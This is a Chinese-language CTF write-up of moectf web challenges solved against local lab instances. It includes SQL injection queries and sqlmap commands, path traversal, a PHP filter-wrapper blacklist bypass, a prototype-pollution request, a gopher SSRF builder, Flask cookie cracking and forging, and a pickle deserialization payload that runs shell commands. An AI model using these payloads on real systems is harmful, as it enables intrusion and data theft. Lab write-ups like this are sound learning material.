随着解题进度更新……没打完的题目标注了thinking,只能抽时间打了(
Web Web 安全与渗透测试入门指北 下载附件打开html,F12搜索moe关键字即得
查分系统 下载html,F12查看前端页面,打开script标签发现学号信息,搜索moectf关键字即得。
归途 连接靶机,F12可得。 key2:QDBtNG9k 同时可以看到一段混淆过后的script代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 eval (function (p,a,c,k,e,d ){e=function (c ){return (c<a?"" :e (parseInt (c/a)))+((c=c%a)>35 ?String .fromCharCode (c+29 ):c.toString (36 ))};if (!'' .replace (/^/ ,String )){while (c--)d[e (c)]=k[c]||e (c);k=[function (e ){return d[e]}];e=function ( ){return '\\w+' };c=1 ;};while (c--)if (k[c])p=p.replace (new RegExp ('\\b' +e (c)+'\\b' ,'g' ),k[c]);return p;}('1.0("3-2==");' ,4 ,4 ,'log|console|N2ghNUkkTQ|Key1' .split ('|' ),0 ,{}))eval (function (p,a,c,k,e,d ){e=function (c ){return (c<a?"" :e (parseInt (c/a)))+((c=c%a)>35 ?String .fromCharCode (c+29 ):c.toString (36 ))};if (!'' .replace (/^/ ,String )){while (c--)d[e (c)]=k[c]||e (c);k=[function (e ){return d[e]}];e=function ( ){return '\\w+' };c=1 ;};while (c--)if (k[c])p=p.replace (new RegExp ('\\b' +e (c)+'\\b' ,'g' ),k[c]);return p;}('8(()=>7["\\a\\9\\3"]("\\5\\6\\4\\b\\g\\0\\h\\3\\i\\0\\f\\1\\1\\c\\d\\2\\2"),e);' ,19 ,19 ,'x4e|x6b|x3d|x67|x79|x4b|x65|console|setInterval|x6f|x6c|x31|x54|x51|5000|x55|x2d|x32|x68' .split ('|' ),0 ,{}))async function pollKey ( ) { try { const res = await fetch ("/getKey?id=3" , { cache : "no-store" }); const data = await res.json (); } catch (error) { document .getElementById ("api-status" ).textContent = "Request failed" ; } }pollKey ();setInterval (pollKey, 3000 );
分析后可以得到key1和一个一直请求的getKey路径 key1:N2ghNUkkTQ==
访问/getKey?id=3得到key3:M0szeUVuKw==
更改id = 4 key4:ZXJUaDFzbGE=
阅读message 检查请求体发现key5:ITkzdA==
(本来不想开yakit还是开了…….hackbar又卡了)
打开yakit发post包可得key6:ZnwxbGFA,发现try login的提示
访问/login路径,登录guest 302跳转info被告知需要登录admin,且可能要修改cookie,我们对info路径修改cookie可得Key7:NGFAZzY5Nmc5(卡了半天我还以为要登录的admin账号……) 根据这一步的提示访问路径/robots.txt,接着访问 /f13ggggg 把所有key解码之后拼在一起可得flag (真的很讨厌找flag……吐血
查分系统_revenge 再次打开script标签可以发现数据都被加密过了,因为懒得分析这里让ai分析了一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 const commonIv = "bW9lY3RmMjAyNml2" ;const encryptedStudentData = [ { "数据" : "kCyxN2+qCfUK3LMzZQzM5UqhVK7pIfstn6iWuR/HRZHnZlJtcw3CqD7IIJZDqxBsM2Oy8FvZ3RrmXFAoxbsYLHWz2pwZkMXrYHWONUrGaqZYqoKBO82Ax/kbIpqFt4tOWLU3KiTrBrKlf1sLlDbu1s3h4oC85VfM7Xo2XDxFJH0ZBoxAZamyCj+Lc3xW7k4esrG/UsOjLeCCkpcULK0uAUyvUlL5L57RmXKregggHfYIHlnL2wWkbxl+MvXBfLN2+g9dg+LNBWqTotnlnZkdyPTLc3Zd7haUKAcm7ZscbKs18FienfeZAoZnpcYy+PERStZsM/lfbiktM2qm9zm2yR5XyprlMiXJHNEwQA+BBmdUYFlKaN5twrGjN8ymc2xUU+nvgYyFrZEzyQn1Dji+0d4HQBqLQ98Vf33zkZL9ScaZIOjcmoIKFjDZ2xm1gwfZjs0Xx72XPSYiNeLbfbIrAAqg187y52EO5GR9T6SSVzd8Q0f+GlkH4Xb5acyksFWz2gniAEKr10fVaDk6LYyzEtTvJKSPR6yZs3vfXumT0nl87JvyIOeo1ID3/QyRMbvXhqPCifLa9NWbQz32rRd+UdiTPgN531aY" }, ...... ];function b64ToBytes (s ) { const bin = atob (s); const arr = new Uint8Array (bin.length ); for (let i = 0 ; i < bin.length ; i++) arr[i] = bin.charCodeAt (i); return arr; }function esc (s ) { return String (s) .replaceAll ("&" , "&" ) .replaceAll ("<" , "<" ) .replaceAll (">" , ">" ) .replaceAll ('"' , """ ) .replaceAll ("'" , "'" ); }async function makeKey (password ) { const raw = new TextEncoder ().encode (password); const hash = await crypto.subtle .digest ("SHA-256" , raw); return crypto.subtle .importKey ("raw" , hash, { name : "AES-GCM" }, false , ["decrypt" ]); }async function tryDecrypt (record, sid ) { const key = await makeKey (sid); const iv = b64ToBytes (commonIv); const data = b64ToBytes (record["数据" ]); const plain = await crypto.subtle .decrypt ({ name : "AES-GCM" , iv }, key, data); const student = JSON .parse (new TextDecoder ().decode (plain)); if (String (student["学号" ]) !== sid) throw new Error ("mismatch" ); return student; }function showErr (msg ) { const errDom = document .getElementById ("error_tip" ); const resDom = document .getElementById ("result_box" ); errDom.innerText = msg; errDom.style .display = "block" ; resDom.style .display = "none" ; }function showResult (student ) { const errDom = document .getElementById ("error_tip" ); const resDom = document .getElementById ("result_box" ); let showHtml = "" ; Object .entries (student).forEach (([fieldName, val] ) => { showHtml += `<div>${esc(fieldName)} :${esc(val)} </div>` ; }); errDom.style .display = "none" ; resDom.innerHTML = showHtml; resDom.style .display = "block" ; }async function searchScore ( ) { const sidDom = document .getElementById ("input_sid" ); const btnDom = document .getElementById ("btn_search" ); const sid = sidDom.value .trim (); if (!/^\d{8}$/ .test (sid)) { showErr ("请输入 8 位数字学号!" ); return ; } btnDom.disabled = true ; try { for (const record of encryptedStudentData) { try { const student = await tryDecrypt (record, sid); showResult (student); return ; } catch (e) {} } showErr ("学号错误" ); } finally { btnDom.disabled = false ; } }document .getElementById ("input_sid" ).addEventListener ("keydown" , e => { if (e.key === "Enter" ) searchScore (); });
整个解密逻辑是学号通过sha256进行加密生成AES密钥,固定iv逐条匹配解密。 所以好像只能爆破了呢…….. 脚本示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import base64import jsonimport hashlibfrom Crypto.Cipher import AESfrom multiprocessing import Pool, cpu_count COMMON_IV = base64.b64decode("bW9lY3RmMjAyNml2" ) ENCRYPTED_DATA = [ "kCyxN2+qCfUK3LMzZQzM5UqhVK7pIfstn6iWuR/HRZHnZlJtcw3CqD7IIJZDqxBsM2Oy8FvZ3RrmXFAoxbsYLHWz2pwZkMXrYHWONUrGaqZYqoKBO82Ax/kbIpqFt4tOWLU3KiTrBrKlf1sLlDbu1s3h4oC85VfM7Xo2XDxFJH0ZBoxAZamyCj+Lc3xW7k4esrG/UsOjLeCCkpcULK0uAUyvUlL5L57RmXKregggHfYIHlnL2wWkbxl+MvXBfLN2+g9dg+LNBWqTotnlnZkdyPTLc3Zd7haUKAcm7ZscbKs18FienfeZAoZnpcYy+PERStZsM/lfbiktM2qm9zm2yR5XyprlMiXJHNEwQA+BBmdUYFlKaN5twrGjN8ymc2xUU+nvgYyFrZEzyQn1Dji+0d4HQBqLQ98Vf33zkZL9ScaZIOjcmoIKFjDZ2xm1gwfZjs0Xx72XPSYiNeLbfbIrAAqg187y52EO5GR9T6SSVzd8Q0f+GlkH4Xb5acyksFWz2gniAEKr10fVaDk6LYyzEtTvJKSPR6yZs3vfXumT0nl87JvyIOeo1ID3/QyRMbvXhqPCifLa9NWbQz32rRd+UdiTPgN531aY" ]def try_decrypt (sid_range ): """对给定学号范围进行解密尝试,返回解密成功的结果列表""" start, end = sid_range results = [] for sid_int in range (start, end): sid_str = f"{sid_int:08d} " key = hashlib.sha256(sid_str.encode()).digest() cipher = AES.new(key, AES.MODE_GCM, nonce=COMMON_IV) for idx, data_b64 in enumerate (ENCRYPTED_DATA): try : ciphertext = base64.b64decode(data_b64) plain = cipher.decrypt_and_verify(ciphertext[:-16 ], ciphertext[-16 :]) student = json.loads(plain) if student.get("学号" ) == sid_str: results.append((sid_str, idx, student)) print (f"[+] Found SID: {sid_str} -> {student} " ) except (ValueError, KeyError, json.JSONDecodeError): continue return resultsdef main (): total = 10 **8 workers = cpu_count() chunk_size = total // workers ranges = [(i * chunk_size, (i+1 ) * chunk_size) for i in range (workers)] ranges[-1 ] = (ranges[-1 ][0 ], total) print (f"Starting brute force with {workers} processes..." ) with Pool(workers) as pool: all_results = pool.map (try_decrypt, ranges) for res in all_results: for r in res: print (r)if __name__ == "__main__" : main()
最后爆破得到moectf{y0u_c@n_reAd_th3_htmI_Annmnd_Buwuuurp_1IllIIlIIl11llII} 这个题是不是应该放到crypto里……
当零来敲门 题目给了两个端口,一个可以ssh连接,一个是聊天室,但是这个python服务端口啥用也没有?调os看了看进程真的跟聊天室一点关系都没有,我们回到聊天室。 阅读js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 async function send ( ) { let u = document .getElementById ('username' ).value || "无名氏" ; let mInput = document .getElementById ('msg' ); let m = parseInt (mInput.value ); if (isNaN (m)) return ; mInput.value = '' ; await fetch ('/chat' , { method : 'POST' , headers : {'Content-Type' : 'application/json' }, body : JSON .stringify ({user : u, msg : m}) }); }
核心在send,我们可以发现发送消息需要在/chat端口发送post请求,以json格式 最简单的思路就是……HTTP pipelining:连续在这个机器人发0之前发500条(纯web思路……)然后等服务器慢慢处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import socketimport jsonimport time HOST = "127.0.0.1" PORT = 35931 print ("[*] waiting for reset..." ) time.sleep(11 ) s = socket.create_connection((HOST, PORT)) payload = b"" for i in range (1 , 501 ): body = json.dumps({"user" : "a" ,"msg" : i }).encode() req = (f"POST /chat HTTP/1.1\r\n" f"Host: {HOST} :{PORT} \r\n" f"Content-Type: application/json\r\n" f"Content-Length: {len (body)} \r\n" f"Connection: keep-alive\r\n" f"\r\n" ).encode() + body payload += reqprint ("[*] sending 1..500" ) s.sendall(payload) resp = b"" s.settimeout(10 )try : while True : chunk = s.recv(65536 ) if not chunk: break resp += chunkexcept socket.timeout: pass print (resp.decode(errors="ignore" ))
最后可得moectf{PYtHON_l4ngu@g3_1s_so_sImpL3_thAT-We-can_MAKE_5Ome-small-and-practical-tools0}
古籍翻阅 下载附件发现是路径的汇总,连接靶机告知要翻阅所有目录内容,测试发现url后的book参数是附件中的路径,附件导入yakit字典进行fuzz 找到状态为200的发现true_file提示:其实flag藏在了根目录下,去看看根目录吧。 初步推测是路径穿越,最终../../flag成功,访问读取flagmoectf{re@d_the_r00t_5utr4_w1th_path_tr4v3r5@l}
河湖小盗 根据这个题目描述感觉是sql注入。
测试输入 1 合法 1’不合法,输入 1’ or ‘1’ = ‘1不合法,而1 or 1 = 1可以打印出所有名单,那么推测后端是select * from database where id = ?
sqlmap 使用sqlmap对id参数进行注入测试,sqlmap -u "http://127.0.0.1:33205/" --data="id=1" -p id --batch 可以探测到union注入成功了,我们继续读取数据 爆数据库 –dbs
1 2 available databases : information_schema past_paper performance_schema
因为前后都是mysql自带的库,所以我们爆past_paper的表
1 2 3 4 5 6 [3 tables] +-----------------+ | flag_table | | past_paper | | public_subjects | +-----------------+
继续爆表
1 sqlmap -u "http://127.0.0.1:33205/" --data = "id=1" -D past_paper -T flag_table --dump -p id --batch
因为懒得爆列所以直接dump了 得到moectf{h3re_i5_your_7e$7_pap3r}
手动注入 1 2 3 4 5 6 1 order by 3 // 3 列-1 union select 1 ,2 ,3 -1 union select 1 ,database (),3 -1 UNION SELECT 1 ,group_concat(table_name ),3 FROM information_schema.tables WHERE table_schema='past_paper' -1 UNION SELECT 1 ,group_concat(column_name ),3 FROM information_schema.columns WHERE table_schema='past_paper' AND table_name ='flag_table' -1 UNION SELECT 1 ,flag,3 FROM past_paper.flag_table
union注入是联合查询的内容放在一列回显的注入
在列数测试完成之后不用1用-1是为了使回显只出现我们查询的内容
group_concat是聚合函数,把多个查询结果合并为一个字符串
七狗免费小说 根据题目提示应该是php伪协议吧 根据F12的提示先开一下看看,可以在div none标签里看到隐藏的内容 整合后的关键逻辑如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $file = $_GET ['file' ] ?? 'chap1.html' ;if (preg_match ('/http|https|\.\.|^\/|=\/|index|input|data|convert|string/i' ,$file )) { die ("咬你哦!" ); }if ($file ) { ob_start (); include ($file ); $output = ob_get_clean (); if (@preg_match ('//u' , $output )) { echo $output ; } else { echo base64_encode ($output ); } }
这里可以发现做了正则匹配,所以我们没办法用convert.base64-encode带出flag.php的内容php://filter/read=convert.base64-encode/resource=index.php(常规payload) 所以使用php://filter/read=zlib.deflate/resource=flag.php 把flag.php的内容压缩成字节,并因为非utf-8输出base64的编码,把这段编码解码再解压得到内容 zlib.deflate是 PHP 的一个流过滤器,用来在读取文件内容的过程中对内容做 deflate 压缩。(一个无损压缩算法,用以把数据压缩成二进制) php命令如下
1 2 3 4 5 php -r 'file_put_contents("out.bin", base64_decode($argv[1]));' 'lZDfToJgGMbPuQrGOmWgENQiPOs+/APZZtNlR7W2jMyIhGqu0NFKV6K21NpaTqFu5ns/vo68heAO6uA5et7neX97lEylWKFW9FJ2m96kmd2ylt/XDwuiVFiVBI3l0+s8y0vpFLvGCzIrCLyY1VOilJflI2aD0vLFMs1sJWGYvoE3QLOLn/veMrgEZ4Q9k9RG2LWjzimaz7HZJEYYeRbxa0puTwVziGZW7IHpY6O+DB7gycf9E+xOlKpKei8wdeB8AVcGtk00P1O4qopCjxzXofaJGzf4vYtbXzEEx9Hku43HH/i2Aa93ybfQi1qDBMGdEL8PzjV9UNrJ0WBbUTCM6VD4CM4ELZ7RrBmNuzA2lkEnKYrH+Iv+c5pRqV8= ' php -r 'echo gzinflate(file_get_contents("out.bin"));' <?php $flag = "moectf{d46d563e-0290-0621-8037-3304af146c77}" ; echo "Flag 就在上面,只有聪明的人才能看见<br>剩下的剧情?大概是<s>被小刻吃掉了</s>作者偷懒没放" ;
合乎周礼 这个描述很像原型链污染……奈何我不是很会js也没咋打过原型链污染……所以这个是codex大人发力的()
先探测一下各个路径的信息,发现/api/me下有inheritedProbe,表示属性是继承的,直接发包/flag仍然无回显,利用原型链污染curl发包,实现污染可以读取/flag
1 2 3 curl -X POST http://127.0.0.1:46127/api/profile\ -H 'Content-Type: application/json'\ --data '{"__proto__":{"isAdmin":true,"canReadFlag":true}}'
__proto__是 JavaScript 里一个特殊属性,用来访问或修改一个对象的原型。 发送的包类似于
1 2 3 profile.__proto__ .isAdmin =true ; profile.__proto__ .canReadFlag =true ;
江洋大盗 同河湖小盗应该是mysql的sql注入,然后给了附件blacklist 再次输入1 or 1 = 1进行测试,同样爆出了所有的数据,那么这个题应该是要考虑绕过方法。 列数探测3列成功,我们继续,但是使用双写绕过没有成功,测试1 and 1 = 1与 1 and 1 = 2,检验到bool盲注成功
然后开始驾驶sqlmap……sqlmap -u http://127.0.0.1:36159/ --data=id=1 --batch --technique=B --string="林舟" -D past_paper -T flag_table --dump 注意要指定bool盲注和string作为正确参考…….不然也不知道为什么sqlmap自己指定了union还给我注了个假答案出来……moectf{C0ngr@+u1@7|0ns_8u+_+h3re_wou1d_not_6e_any_pas7_3x@m_pap3r_in_f4ct}
MoeCatchTheFrogs 启动靶机,简单测试了一下发现前端没什么信息,检查发现存在app.js,分析代码逻辑,可以看到这一段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 async function claimReward ( ) { claimButton.disabled = true ; try { const { response, data } = await request ("/api/claim" ); closeModal (resultModal); if (response.ok && data.flag ) { messageSymbol.textContent = "✓" ; messageKicker.textContent = "图鉴收集完成" ; messageTitle.textContent = "这是属于你的奖励" ; messageContent.textContent = "九种青蛙都已确认收录。感谢你为萌蛙研究所作出的贡献。" ; flagBox.textContent = data.flag ; flagBox.hidden = false ; } else { const missing = Array .isArray (data.missing ) ? data.missing .join ("、" ) : "未知" ; messageSymbol.textContent = "!" ; messageKicker.textContent = "图鉴管理员来信" ; messageTitle.textContent = "还差一点点" ; messageContent.textContent = `尚未收录稀有度为 ${missing} 的青蛙,集齐后再来领取奖励吧。` ; flagBox.hidden = true ; } openModal (messageModal); } catch { showToast ("奖励领取失败,请稍后重试" ); } finally { claimButton.disabled = false ; } }
分析可以得到,收集齐所有青蛙可以得到flag。 然而在我控制台抓取1000次之后还有1只没抓到,这时候就有点问题了,返回题目发现提示了cookie。重新观察cookie:eyJmcm9ncyI6WzAsMSwyLDMsNCw1LDYsN119.aoQtcg.o0SV2JAl6aJIST6BBx2qGlef4x8
利用flask-unsign进行decode可以发现{'frogs': [0, 1, 2, 3, 4, 5, 6, 7]} 然后用rockyou字典进行密钥爆破,可以得到密钥为qwe123456,根据密钥生成cookieeyJmcm9ncyI6WzAsMSwyLDMsNCw1LDYsNyw4XX0.aoREvQ.9eiAoNQjsQzTsLMq0pUAygjgCaY 修改cookie后领取奖励可得到flag
这里的cookie不能用控制台进行修改,否则失效,需要去存储里改
flask-unsign 是一个专门针对 Flask session cookie 的解码、爆破和伪造工具。
很好的题目,使我大脑旋转
熊出没 根据题目所言是一些蜜罐。 打开靶机简单测试一下发现报错给出了gopher协议的提示。 输入正确url形式和提示端口有回显但是有陷阱。 那么,这应该是要利用gopher协议发送原始数据包。 一般都gopher协议格式为:
(让ai梭了一个gopher编码的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from urllib.parse import quote_from_bytes TARGET_HOST = "127.0.0.1" TARGET_PORT = 54321 RAW_PACKET = ( b"GET / HTTP/1.0\r\n" b"\r\n" ) gopher_url = ( f"gopher://{TARGET_HOST} :{TARGET_PORT} /_" + quote_from_bytes(RAW_PACKET, safe="" ) )print (gopher_url)
先发送最简的数据包发现给出了路径为/secret-honey 在脚本中添加路径重新构造payload发送可以获得flag
我爱发明[thinking] 用yakit可以爆出所有数据,而且很快(((不过要拼手速抢一下token
日志系统 题目没啥信息。 下载附件并分析,这是一个python pickle反序列化,挠头。 官方文档https://docs.python.org/3/library/pickle.html,接下来构造利用反序列化的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 import picklefrom pathlib import Path OUTPUT = Path("/tmp/subdiary-exp.pkl" )class Exploit : def __reduce__ (self ): command = ["/bin/sh" , "-c" , "env | sort" ] return (__import__ ("subprocess" ).check_output, (command,)) OUTPUT.write_bytes(pickle.dumps(Exploit(), protocol=4 ))print (f"[+] payload generated: {OUTPUT} " )print (f"[+] size: {OUTPUT.stat().st_size} bytes" )
.pkl是pickle序列化数据的一般格式
pickle.dumps用来序列化对象,类似于php的serialize函数
__reduce__是 pickle 用来获取“对象重建方式”的特殊方法,用以在重建时调用函数
subprocess.check_output是 Python 标准库subprocess中的函数,用来启动一个外部程序,并捕获它的标准输出。
check_output 不是 pickle 的特殊函数,它只是一个适合本题回显链的普通函数。 它有两个特点:可以执行外部命令,可以返回命令的标准输出。如果使用如果使用只返回退出码的函数,例如:os.system(“env | sort”),无法在预览中获得回显。
生成payload文件后发送实现反序列化
1 2 3 curl -sS -i --max-time 15 \ -F 'file=@/tmp/subdiary-exp.pkl;filename=logs.pkl' \ http://127.0.0.1:43609 /import
执行可获得flag
礼崩乐坏[thinking] 开发与运维基础 没打过,打着看看?
当 Nginx 不在家 根据题目描述连接靶机,注意到3000端口,简单nc一下 多nc几次就会发现这个端口一直在被post /flag,读取ch的字段并完整拼接moectf{WEB-s3rver-PRov1dE-r3li4BI3-5erVlCe-f0r-tHE-WOR1d0}
网站日志取证大师 谢邀,做不来取证…….眼睛要瞎了。 codex分析的不要打我口牙(moectf{11-curl/8.7.1-2214-CVE-2017-9841-235216-000808}
总结(unfinished) 比去年举步维艰的情况来说,今年打moe确实轻松了不少,感觉自己取得了一些进步!包括对自己擅长的部分敏锐度提高了很多,简单的题能顺利地梳理出思路。
不过也意识到自己仍然有很多不足之处,比如说对于自己没那么熟悉的语言比如python和java,往往要借助ai进行分析;不熟悉的知识点,也通常要利用ai去先解决题目,自己再通过复现进行反刍……不知道是说更会使用ai,提示词更准确,还是说更依赖ai了……这到底是好事还是坏事呢?